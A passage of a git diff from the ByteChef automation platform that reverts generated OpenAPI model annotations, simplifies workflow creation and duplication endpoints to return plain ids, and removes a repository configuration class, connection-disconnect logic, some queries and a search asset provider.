--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/TagModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/TagModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "Tag", description = "A tag.")
 @JsonTypeName("Tag")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class TagModel {
 
   private @Nullable String createdBy;
@@ -236,7 +236,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/UpdateConnectionRequestModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/UpdateConnectionRequestModel.java
index c2dd5cf8644..af53d31c72a 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/UpdateConnectionRequestModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/UpdateConnectionRequestModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "UpdateConnectionRequest", description = "Contains all connection parameters that can be updated.")
 @JsonTypeName("UpdateConnectionRequest")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class UpdateConnectionRequestModel {
 
   private String name;
@@ -150,7 +150,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/UpdateTagsRequestModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/UpdateTagsRequestModel.java
index 10e37a538fe..87ffb918686 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/UpdateTagsRequestModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/UpdateTagsRequestModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "UpdateTagsRequest", description = "The request object that contains the array of tags.")
 @JsonTypeName("UpdateTagsRequest")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class UpdateTagsRequestModel {
 
   @Valid
@@ -90,7 +90,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/Workflow1Model.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/Workflow1Model.java
index aa5ff32f256..2fcf15226bc 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/Workflow1Model.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/Workflow1Model.java
@@ -32,7 +32,7 @@
 
 @Schema(name = "Workflow_1", description = "The blueprint that describe the execution of a job.")
 @JsonTypeName("Workflow_1")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class Workflow1Model implements com.bytechef.platform.configuration.web.rest.model.WorkflowModelAware {
 
   private @Nullable String createdBy;
@@ -638,7 +638,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowBasic1Model.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowBasic1Model.java
index 29779185cf9..6c863d06063 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowBasic1Model.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowBasic1Model.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "WorkflowBasic_1", description = "The blueprint that describe the execution of a job.")
 @JsonTypeName("WorkflowBasic_1")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class WorkflowBasic1Model {
 
   private @Nullable String createdBy;
@@ -249,7 +249,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowBasicModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowBasicModel.java
index 64af1b95dae..944d18df36d 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowBasicModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowBasicModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "WorkflowBasic", description = "The blueprint that describe the execution of a job.")
 @JsonTypeName("WorkflowBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class WorkflowBasicModel {
 
   private @Nullable String createdBy;
@@ -297,7 +297,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowModel.java
index ff16f945457..cca1fdac4b3 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkflowModel.java
@@ -32,7 +32,7 @@
 
 @Schema(name = "Workflow", description = "The blueprint that describe the execution of a job.")
 @JsonTypeName("Workflow")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class WorkflowModel implements com.bytechef.platform.configuration.web.rest.model.WorkflowModelAware {
 
   private @Nullable String createdBy;
@@ -710,7 +710,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkspaceModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkspaceModel.java
index f8cbe415720..10d435095d8 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkspaceModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/WorkspaceModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "Workspace", description = "A workspace.")
 @JsonTypeName("Workspace")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class WorkspaceModel {
 
   private @Nullable String createdBy;
@@ -260,7 +260,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/openapi.yaml b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/openapi.yaml
index 3d64636113d..9e1623bc45d 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/openapi.yaml
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/openapi.yaml
@@ -762,12 +762,8 @@ paths:
           content:
             application/json:
               schema:
-                type: "object"
-                properties:
-                  projectWorkflowId:
-                    description: "The id of a created project workflow."
-                    type: "integer"
-                    format: "int64"
+                type: integer
+                format: int64
   /projects/{id}/workflows/{workflowId}/duplicate:
     post:
       description: "Duplicates existing workflow."
@@ -795,11 +791,7 @@ paths:
           content:
             application/json:
               schema:
-                type: "object"
-                properties:
-                  workflowId:
-                    description: "The id of a new duplicated workflow."
-                    type: "string"
+                type: string
   /users/{id}/workspaces:
     get:
       description: "Get all user workspaces."
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/src/main/java/com/bytechef/automation/configuration/web/rest/WorkflowApiController.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/src/main/java/com/bytechef/automation/configuration/web/rest/WorkflowApiController.java
index c33e7ab3bb8..17eaa99625f 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/src/main/java/com/bytechef/automation/configuration/web/rest/WorkflowApiController.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/src/main/java/com/bytechef/automation/configuration/web/rest/WorkflowApiController.java
@@ -20,8 +20,6 @@
 import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
 import com.bytechef.automation.configuration.domain.ProjectWorkflow;
 import com.bytechef.automation.configuration.facade.ProjectWorkflowFacade;
-import com.bytechef.automation.configuration.web.rest.model.CreateProjectWorkflow200ResponseModel;
-import com.bytechef.automation.configuration.web.rest.model.DuplicateWorkflow200ResponseModel;
 import com.bytechef.automation.configuration.web.rest.model.WorkflowModel;
 import com.bytechef.commons.util.CollectionUtils;
 import com.bytechef.platform.configuration.web.rest.AbstractWorkflowApiController;
@@ -60,13 +58,10 @@ public WorkflowApiController(
     }
 
     @Override
-    public ResponseEntity<CreateProjectWorkflow200ResponseModel> createProjectWorkflow(
-        Long id, WorkflowModel workflowModel) {
-
+    public ResponseEntity<Long> createProjectWorkflow(Long id, WorkflowModel workflowModel) {
         ProjectWorkflow projectWorkflow = projectWorkflowFacade.addWorkflow(id, workflowModel.getDefinition());
 
-        return ResponseEntity.ok(
-            new CreateProjectWorkflow200ResponseModel().projectWorkflowId(projectWorkflow.getId()));
+        return ResponseEntity.ok(projectWorkflow.getId());
     }
 
     @Override
@@ -78,10 +73,8 @@ public ResponseEntity<Void> deleteWorkflow(String id) {
     }
 
     @Override
-    public ResponseEntity<DuplicateWorkflow200ResponseModel> duplicateWorkflow(Long id, String workflowId) {
-        return ResponseEntity.ok(
-            new DuplicateWorkflow200ResponseModel().workflowId(
-                projectWorkflowFacade.duplicateWorkflow(id, workflowId)));
+    public ResponseEntity<String> duplicateWorkflow(Long id, String workflowId) {
+        return ResponseEntity.ok(projectWorkflowFacade.duplicateWorkflow(id, workflowId));
     }
 
     @GetMapping("/workflows/{id}/export")
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/src/test/java/com/bytechef/automation/configuration/web/rest/WorkflowApiControllerIntTest.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/src/test/java/com/bytechef/automation/configuration/web/rest/WorkflowApiControllerIntTest.java
index 6a5811492bd..6013d66da1e 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/src/test/java/com/bytechef/automation/configuration/web/rest/WorkflowApiControllerIntTest.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-impl/src/test/java/com/bytechef/automation/configuration/web/rest/WorkflowApiControllerIntTest.java
@@ -36,7 +36,6 @@
 import com.bytechef.automation.configuration.service.WorkspaceService;
 import com.bytechef.automation.configuration.web.rest.config.AutomationConfigurationRestConfigurationSharedMocks;
 import com.bytechef.automation.configuration.web.rest.config.AutomationConfigurationRestTestConfiguration;
-import com.bytechef.automation.configuration.web.rest.model.CreateProjectWorkflow200ResponseModel;
 import com.bytechef.automation.configuration.web.rest.model.WorkflowModel;
 import com.bytechef.platform.configuration.dto.WorkflowTaskDTO;
 import com.bytechef.platform.configuration.facade.ComponentConnectionFacade;
@@ -204,8 +203,8 @@ public void testPostProjectWorkflows() {
             .exchange()
             .expectStatus()
             .isOk()
-            .expectBody(CreateProjectWorkflow200ResponseModel.class)
-            .value(response -> Assertions.assertEquals(1L, response.getProjectWorkflowId()));
+            .expectBody(Long.class)
+            .isEqualTo(1L);
 
         verify(projectWorkflowFacade).addWorkflow(anyLong(), any());
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/build.gradle.kts b/server/libs/automation/automation-configuration/automation-configuration-service/build.gradle.kts
index df39e4004c1..027dffccfc2 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-service/build.gradle.kts
+++ b/server/libs/automation/automation-configuration/automation-configuration-service/build.gradle.kts
@@ -3,9 +3,7 @@ dependencies {
     implementation("org.springframework.boot:spring-boot")
     implementation("org.springframework.boot:spring-boot-autoconfigure")
     implementation("org.springframework.data:spring-data-jdbc")
-    implementation(project(":server:libs:atlas:atlas-configuration:atlas-configuration-api"))
     implementation(project(":server:libs:atlas:atlas-configuration:atlas-configuration-repository:atlas-configuration-repository-api"))
-    implementation(project(":server:libs:automation:automation-search:automation-search-api"))
     implementation(project(":server:libs:atlas:atlas-coordinator:atlas-coordinator-api"))
     implementation(project(":server:libs:config:app-config"))
     implementation(project(":server:libs:core:commons:commons-data"))
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/config/AutomationConfigurationJdbcRepositoryConfiguration.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/config/AutomationConfigurationJdbcRepositoryConfiguration.java
deleted file mode 100644
index 754631232db..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/config/AutomationConfigurationJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.configuration.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.automation.configuration.repository")
-class AutomationConfigurationJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/facade/ProjectDeploymentFacadeImpl.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/facade/ProjectDeploymentFacadeImpl.java
index 15d54dd38af..89897b3f396 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/facade/ProjectDeploymentFacadeImpl.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/facade/ProjectDeploymentFacadeImpl.java
@@ -67,7 +67,6 @@
 import java.util.Objects;
 import java.util.Optional;
 import org.apache.commons.lang3.Validate;
-import org.springframework.data.domain.Page;
 import org.springframework.stereotype.Service;
 import org.springframework.transaction.annotation.Propagation;
 import org.springframework.transaction.annotation.Transactional;
@@ -102,8 +101,9 @@ public class ProjectDeploymentFacadeImpl implements ProjectDeploymentFacade {
     @SuppressFBWarnings("EI")
     public ProjectDeploymentFacadeImpl(
         ConnectionService connectionService, Evaluator evaluator, EnvironmentService environmentService,
-        PrincipalJobFacade principalJobFacade, PrincipalJobService principalJobService, JobFacade jobFacade,
-        JobService jobService, ProjectDeploymentService projectDeploymentService,
+        PrincipalJobFacade principalJobFacade,
+        PrincipalJobService principalJobService, JobFacade jobFacade, JobService jobService,
+        ProjectDeploymentService projectDeploymentService,
         ProjectDeploymentWorkflowService projectDeploymentWorkflowService, ProjectService projectService,
         ProjectWorkflowService projectWorkflowService, TagService tagService,
         TriggerDefinitionService triggerDefinitionService, TriggerExecutionService triggerExecutionService,
@@ -649,8 +649,6 @@ private void enableWorkflowTriggers(ProjectDeploymentWorkflow projectDeploymentW
 
         List<WorkflowTrigger> workflowTriggers = WorkflowTrigger.of(workflow);
         ProjectWorkflow projectWorkflow = projectWorkflowService.getWorkflowProjectWorkflow(workflow.getId());
-        ProjectDeployment projectDeployment = projectDeploymentService.getProjectDeployment(
-            projectDeploymentWorkflow.getProjectDeploymentId());
 
         for (WorkflowTrigger workflowTrigger : workflowTriggers) {
             WorkflowNodeType workflowNodeType = WorkflowNodeType.ofType(workflowTrigger.getType());
@@ -667,7 +665,7 @@ private void enableWorkflowTriggers(ProjectDeploymentWorkflow projectDeploymentW
                 workflow.getId(), workflowExecutionId, workflowNodeType,
                 workflowTrigger.evaluateParameters(projectDeploymentWorkflow.getInputs(), evaluator),
                 getConnectionId(projectDeploymentWorkflow.getProjectDeploymentId(), workflow.getId(), workflowTrigger),
-                getWebhookUrl(workflowExecutionId), projectDeployment.getEnvironmentId());
+                getWebhookUrl(workflowExecutionId));
         }
     }
 
@@ -678,7 +676,7 @@ private void stopRunningJobs(ProjectDeploymentWorkflow projectDeploymentWorkflow
         int pageNumber = 0;
 
         while (true) {
-            Page<Long> page = principalJobService.getJobIds(
+            org.springframework.data.domain.Page<Long> page = principalJobService.getJobIds(
                 Job.Status.STARTED, null, null, principalIds, PlatformType.AUTOMATION, workflowIds, pageNumber);
 
             List<Long> jobIds = page.getContent();
@@ -797,9 +795,9 @@ private String getWebhookUrl(WorkflowExecutionId workflowExecutionId) {
         return webhookUrl.replace("{id}", workflowExecutionId.toString());
     }
 
-    private Instant getWorkflowLastExecutionDate(long projectDeploymentId, List<String> workflowIds) {
-        return principalJobService.fetchLastWorkflowJobId(projectDeploymentId, workflowIds, PlatformType.AUTOMATION)
-            .map(this::getJobEndDate)
+    private Instant getWorkflowLastExecutionDate(List<String> workflowIds) {
+        return jobService.fetchLastWorkflowJob(workflowIds)
+            .map(Job::getEndDate)
             .orElse(null);
     }
 
@@ -830,7 +828,7 @@ private ProjectDeploymentWorkflowDTO toProjectDeploymentWorkflowDTO(
 
         return new ProjectDeploymentWorkflowDTO(
             projectDeploymentWorkflow,
-            getWorkflowLastExecutionDate(projectDeployment.getId(), workflowUuidWorkflowIds),
+            getWorkflowLastExecutionDate(workflowUuidWorkflowIds),
             getStaticWebhookUrl(
                 projectDeploymentWorkflow.getProjectDeploymentId(),
                 projectDeploymentWorkflow.getWorkflowId()),
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/facade/WorkspaceConnectionFacadeImpl.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/facade/WorkspaceConnectionFacadeImpl.java
index affeca1eb24..1d2fd86ee96 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/facade/WorkspaceConnectionFacadeImpl.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/facade/WorkspaceConnectionFacadeImpl.java
@@ -17,10 +17,8 @@
 package com.bytechef.automation.configuration.facade;
 
 import com.bytechef.automation.configuration.domain.WorkspaceConnection;
-import com.bytechef.automation.configuration.service.ProjectDeploymentWorkflowService;
 import com.bytechef.automation.configuration.service.WorkspaceConnectionService;
 import com.bytechef.commons.util.CollectionUtils;
-import com.bytechef.platform.configuration.service.WorkflowTestConfigurationService;
 import com.bytechef.platform.connection.dto.ConnectionDTO;
 import com.bytechef.platform.connection.facade.ConnectionFacade;
 import com.bytechef.platform.constant.PlatformType;
@@ -37,19 +35,13 @@
 public class WorkspaceConnectionFacadeImpl implements WorkspaceConnectionFacade {
 
     private final ConnectionFacade connectionFacade;
-    private final ProjectDeploymentWorkflowService projectDeploymentWorkflowService;
-    private final WorkflowTestConfigurationService workflowTestConfigurationService;
     private final WorkspaceConnectionService workspaceConnectionService;
 
     @SuppressFBWarnings("EI")
     public WorkspaceConnectionFacadeImpl(
-        ConnectionFacade connectionFacade, ProjectDeploymentWorkflowService projectDeploymentWorkflowService,
-        WorkflowTestConfigurationService workflowTestConfigurationService,
-        WorkspaceConnectionService workspaceConnectionService) {
+        ConnectionFacade connectionFacade, WorkspaceConnectionService workspaceConnectionService) {
 
         this.connectionFacade = connectionFacade;
-        this.projectDeploymentWorkflowService = projectDeploymentWorkflowService;
-        this.workflowTestConfigurationService = workflowTestConfigurationService;
         this.workspaceConnectionService = workspaceConnectionService;
     }
 
@@ -69,12 +61,6 @@ public void delete(long connectionId) {
         connectionFacade.delete(connectionId);
     }
 
-    @Override
-    public void disconnectConnection(long connectionId) {
-        projectDeploymentWorkflowService.deleteProjectDeploymentWorkflowConnection(connectionId);
-        workflowTestConfigurationService.deleteWorkflowTestConfigurationConnection(connectionId);
-    }
-
     @Override
     public List<ConnectionDTO> getConnections(
         long workspaceId, String componentName, Integer connectionVersion, Long environmentId, Long tagId) {
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/repository/ProjectDeploymentWorkflowRepository.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/repository/ProjectDeploymentWorkflowRepository.java
index 4e2645eb2b9..6ef903f67f8 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/repository/ProjectDeploymentWorkflowRepository.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/repository/ProjectDeploymentWorkflowRepository.java
@@ -42,11 +42,4 @@ public interface ProjectDeploymentWorkflowRepository extends ListCrudRepository<
             WHERE connection_id = :connectionId
         """)
     List<Long> findProjectDeploymentWorkflowConnectionIdsByConnectionId(@Param("connectionId") long connectionId);
-
-    @Query("""
-            SELECT DISTINCT project_deployment_workflow.id FROM project_deployment_workflow
-            JOIN project_deployment_workflow_connection ON project_deployment_workflow.id = project_deployment_workflow_connection.project_deployment_workflow_id
-            WHERE project_deployment_workflow_connection.connection_id = :connectionId
-        """)
-    List<Long> findAllIdsByConnectionId(@Param("connectionId") long connectionId);
 }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/repository/ProjectWorkflowRepository.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/repository/ProjectWorkflowRepository.java
index 7c20bc1e5b1..cfdd85f9220 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/repository/ProjectWorkflowRepository.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/repository/ProjectWorkflowRepository.java
@@ -41,16 +41,6 @@ public interface ProjectWorkflowRepository extends ListCrudRepository<ProjectWor
 
     List<ProjectWorkflow> findAllByProjectIdIn(List<Long> projectIds);
 
-    @Query("""
-        SELECT pw.* FROM project_workflow pw
-        INNER JOIN (
-            SELECT uuid, MAX(project_version) AS max_version
-            FROM project_workflow
-            GROUP BY uuid
-        ) latest ON pw.uuid = latest.uuid AND pw.project_version = latest.max_version
-        """)
-    List<ProjectWorkflow> findAllLatestPerUuid();
-
     Optional<ProjectWorkflow> findByProjectIdAndProjectVersionAndWorkflowId(
         long projectId, int projectVersion, String workflowId);
 
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectDeploymentSearchAssetProvider.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectDeploymentSearchAssetProvider.java
deleted file mode 100644
index b8f82f38ff5..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectDeploymentSearchAssetProvider.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.configuration.search;
-
-import com.bytechef.automation.configuration.domain.Project;
-import com.bytechef.automation.configuration.domain.ProjectDeployment;
-import com.bytechef.automation.configuration.service.ProjectDeploymentService;
-import com.bytechef.automation.configuration.service.ProjectService;
-import com.bytechef.automation.search.SearchAssetProvider;
-import com.bytechef.automation.search.SearchAssetType;
-import java.util.List;
-import java.util.Locale;
-import java.util.Map;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-import org.springframework.stereotype.Component;
-
-/**
- * @author Ivica Cardic
- */
-@Component
-class ProjectDeploymentSearchAssetProvider implements SearchAssetProvider {
-
-    private final ProjectDeploymentService projectDeploymentService;
-    private final ProjectService projectService;
-
-    ProjectDeploymentSearchAssetProvider(ProjectDeploymentService projectDeploymentService,
-        ProjectService projectService) {
